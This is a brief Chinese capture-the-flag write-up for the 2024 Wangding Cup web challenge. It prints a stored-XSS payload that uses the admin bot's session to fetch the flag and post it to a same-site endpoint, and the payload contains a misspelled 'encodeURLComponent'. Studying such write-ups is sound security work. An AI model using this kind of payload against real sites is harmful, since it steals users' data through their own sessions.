2024网鼎杯青龙组
misc
具体flag放入github中
https://github.com/k1t0111/Ctf-AWD/tree/k1t0111-wdflag2024-1
web
可以看到首先随便一个登陆页面进去,进到飞机管理清单后台。然后发现了两处功能点。
- 首先写一个清单,作为飞机起飞列表
- 提交清单
思路:
- 清单提交可以触发xss
- 使用前端xss 代码提交给boss然后在boss地方触发
<script>
fetch("flag")
.then((response) => response.text())
.then((data) => {
fetch("/content/a93770ea93dc1f6a2b9d917b62d29db4", {
method: "POST",
body: "content=abc" + encodeURLComponent(data),
headers: { "Content-Type": "application/x-www-form-urlencoded" },
});
});
</script>
主体大意就是,因为尝试了boss是无法出网的因此我们使用js,使用boss的cookie 去访问flag。
然后把内容放在data中。同时继续访问另外一个文件将data内容作为post参数传递进去。然后修改hash文件的内容。我们再去访问hash就可以直接访问到flag。
总结最主要还是因为不出网络,因此我们拿不到cookie,因此想到了js功能,让boss自己去访问flag带出flag